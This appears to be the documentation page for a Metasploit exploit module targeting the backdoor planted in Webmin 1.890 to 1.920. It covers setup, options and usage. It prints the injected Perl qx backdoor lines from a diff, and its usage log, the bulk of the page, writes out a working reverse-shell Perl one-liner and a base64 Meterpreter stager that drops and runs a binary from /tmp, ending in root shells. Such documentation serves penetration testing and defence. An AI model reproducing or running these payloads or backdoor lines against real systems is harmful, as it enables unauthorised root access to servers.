## Introduction

This module exploits a backdoor in Webmin versions 1.890 through 1.920.
Only the SourceForge downloads were backdoored, but they are listed as
official downloads on the project's site.

Unknown attacker(s) inserted Perl `qx` statements into the build server's
source code on two separate occasions: once in April 2018, introducing
the backdoor in the 1.890 release, and in July 2018, reintroducing the
backdoor in releases 1.900 through 1.920.

Only version 1.890 is exploitable in the default install. Later affected
versions require the expired password changing feature to be enabled.

## Analysis

The backdoored code can compared across space and time with `diff3(1)`.

```
wvu@kharak:~/Downloads$ diff3 webmin-1.{890,930,920}/password_change.cgi
====2
1:1c
3:1c
  #!/usr/bin/perl
2:1c
  #!/usr/local/bin/perl
====1
1:12c
  $in{'expired'} eq '' || die $text{'password_expired'},qx/$in{'expired'}/;
2:12c
3:12c
  $miniserv{'passwd_mode'} == 2 || die "Password changing is not enabled!";
====3
1:40c
2:40c
  	$enc eq $wuser->{'pass'} || &pass_error($text{'password_eold'});
3:40c
  	$enc eq $wuser->{'pass'} || &pass_error($text{'password_eold'},qx/$in{'old'}/);
====3
1:200c
2:200c
  # Show ok page
3:200c

wvu@kharak:~/Downloads$
```

## Setup

1. `wget https://prdownloads.sourceforge.net/webadmin/webmin-1.890.tar.gz`
2. `tar xf webmin-1.890.tar.gz`
3. `cd webmin-1.890`
4. `./setup.sh`

## Targets

```
Id  Name
--  ----
0   Automatic (Unix In-Memory)
1   Automatic (Linux Dropper)
```

## Options

### RPORT

Set this to the Webmin port. The default is 10000.

### TARGETURI

Set this to the Webmin base path. The default is `/`.

### ForceExploit

Set this to `true` to override the `check` result during exploitation.

## Usage

```
msf exploit(linux/http/webmin_backdoor) > run

[*] Started reverse TCP handler on 172.28.128.1:4444
[*] Webmin 1.890 detected
[+] Webmin 1.890 is a supported target
[+] Webmin executed a benign check command
[*] Configuring Automatic (Unix In-Memory) target
[*] Sending cmd/unix/reverse_perl command payload
[*] Generated command payload: perl -MIO -e '$p=fork;exit,if($p);foreach my $key(keys %ENV){if($ENV{$key}=~/(.*)/){$ENV{$key}=$1;}}$c=new IO::Socket::INET(PeerAddr,"172.28.128.1:4444");STDIN->fdopen($c,r);$~->fdopen($c,w);while(<>){if($_=~ /(.*)/){system $1;}};'
[*] Command shell session 1 opened (172.28.128.1:4444 -> 172.28.128.5:58374) at 2019-08-21 16:49:24 -0500

id
uid=0(root) gid=0(root) groups=0(root)
uname -a
Linux ubuntu-xenial 4.4.0-141-generic #167-Ubuntu SMP Wed Dec 5 10:40:15 UTC 2018 x86_64 x86_64 x86_64 GNU/Linux
^Z
Background session 1? [y/N]  y
msf exploit(linux/http/webmin_backdoor) > set target 1
target => 1
msf exploit(linux/http/webmin_backdoor) > run

[*] Started reverse TCP handler on 172.28.128.1:4444
[*] Webmin 1.890 detected
[+] Webmin 1.890 is a supported target
[+] Webmin executed a benign check command
[*] Configuring Automatic (Linux Dropper) target
[*] Sending linux/x64/meterpreter/reverse_tcp command stager
[*] Generated command stager: ["echo -n f0VMRgIBAQAAAAAAAAAAAAIAPgABAAAAeABAAAAAAABAAAAAAAAAAAAAAAAAAAAAAAAAAEAAOAABAAAAAAAAAAEAAAAHAAAAAAAAAAAAAAAAAEAAAAAAAAAAQAAAAAAA+QAAAAAAAAB6AQAAAAAAAAAQAAAAAAAASDH/aglYmbYQSInWTTHJaiJBWrIHDwVIhcB4UmoKQVlWUGopWJlqAl9qAV4PBUiFwHg7SJdIuQIAEVysHIABUUiJ5moQWmoqWA8FWUiFwHklSf/JdBhXaiNYagBqBUiJ50gx9g8FWVlfSIXAecdqPFhqAV8PBV5aDwVIhcB47//m>>'/tmp/FgFBP.b64' ; ((which base64 >&2 && base64 -d -) || (which base64 >&2 && base64 --decode -) || (which openssl >&2 && openssl enc -d -A -base64 -in /dev/stdin) || (which python >&2 && python -c 'import sys, base64; print base64.standard_b64decode(sys.stdin.read());') || (which perl >&2 && perl -MMIME::Base64 -ne 'print decode_base64($_)')) 2> /dev/null > '/tmp/tDGmH' < '/tmp/FgFBP.b64' ; chmod +x '/tmp/tDGmH' ; '/tmp/tDGmH' ; rm -f '/tmp/tDGmH' ; rm -f '/tmp/FgFBP.b64'"]
[*] Transmitting intermediate stager...(126 bytes)
[*] Sending stage (3021284 bytes) to 172.28.128.5
[*] Meterpreter session 2 opened (172.28.128.1:4444 -> 172.28.128.5:58376) at 2019-08-21 16:49:33 -0500
[*] Command Stager progress - 100.00% done (819/819 bytes)

meterpreter > getuid
Server username: uid=0, gid=0, euid=0, egid=0
meterpreter > sysinfo
Computer     : 10.0.2.15
OS           : Ubuntu 16.04 (Linux 4.4.0-141-generic)
Architecture : x64
BuildTuple   : x86_64-linux-musl
Meterpreter  : x64/linux
meterpreter >
```
